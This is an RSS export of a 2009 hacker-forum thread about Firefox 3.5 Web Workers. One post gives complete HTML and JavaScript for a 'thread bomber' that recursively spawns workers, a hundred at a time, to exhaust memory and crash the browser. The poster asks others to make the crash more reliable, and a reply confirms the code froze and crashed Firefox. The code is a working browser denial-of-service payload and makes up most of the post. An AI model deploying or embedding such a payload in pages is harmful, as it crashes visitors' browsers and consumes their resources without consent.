<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Javascript threads (FF3.5)</title>
        <description>I'm rather astounded that nobody mentioned the javascript threading which can be achieved with Firefox 3.5...

I've conducted an experiment to test the DoSness of them, but it's rather inconclusive. I've managed to crash Firefox in a couple of instances, only when executing other activities in parallel with the thread &amp;quot;bomber&amp;quot;... as mentioned it didn't always work...

Of course the memory usage skyrockets, and the CPU is always in the 98% (90% after closing the tab with the PoC as well), but I can't seem to make Firefox execute a seppuku move at will.

Maybe fellow slackers will have a go at it, and find a way to maximize the memory usage for an instant pop :).

The code I've used:
index.html

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;ninja-thread&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
    work = new Worker('work.js');
    work.onmessage = function(event) {
        document.title=event.data;
    }
    work.postMessage(1);
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

work.js

onmessage = function(event) {
    abc = [];
    for(i=0;i&amp;lt;100;i++) {
        abc = new Worker('work.js');
        abc.onmessage = function(event) {
            postMessage(event.data);
        }
        abc.postMessage(event.data+1);
    }
    postMessage(event.data+1)
}
</description>
        <link>http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201</link>
        <lastBuildDate>Sat, 25 May 2013 18:24:33 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,29201,29251#msg-29251</guid>
            <title>Re: Javascript threads (FF3.5)</title>
            <link>http://sla.ckers.org/forum/read.php?14,29201,29251#msg-29251</link>
            <description><![CDATA[I think this is extremely cool,  My firefox froze in 5 seconds and crashed in 10.]]></description>
            <dc:creator>flam</dc:creator>
            <category>DoS</category>
            <pubDate>Mon, 13 Jul 2009 10:17:58 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201</guid>
            <title>Javascript threads (FF3.5)</title>
            <link>http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201</link>
            <description><![CDATA[I'm rather astounded that nobody mentioned the javascript threading which can be achieved with Firefox 3.5...<br />
<br />
I've conducted an experiment to test the DoSness of them, but it's rather inconclusive. I've managed to crash Firefox in a couple of instances, only when executing other activities in parallel with the thread &quot;bomber&quot;... as mentioned it didn't always work...<br />
<br />
Of course the memory usage skyrockets, and the CPU is always in the 98% (90% after closing the tab with the PoC as well), but I can't seem to make Firefox execute a seppuku move at will.<br />
<br />
Maybe fellow slackers will have a go at it, and find a way to maximize the memory usage for an instant pop :).<br />
<br />
The code I've used:<br />
index.html<br />
<pre class="bbcode">
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;ninja-thread&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;script type=&quot;text/javascript&quot;&gt;
    work = new Worker('work.js');
    work.onmessage = function(event) {
        document.title=event.data;
    }
    work.postMessage(1);
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<br />
work.js<br />
<pre class="bbcode">
onmessage = function(event) {
    abc = [];
    for(i=0;i&lt;100;i++) {
        abc<i> = new Worker('work.js');
        abc<i>.onmessage = function(event) {
            postMessage(event.data);
        }
        abc<i>.postMessage(event.data+1);
    }
    postMessage(event.data+1)
}
</i></i></i></pre>]]></description>
            <dc:creator>backbone</dc:creator>
            <category>DoS</category>
            <pubDate>Wed, 08 Jul 2009 15:04:00 -0500</pubDate>
        </item>
    </channel>
</rss>
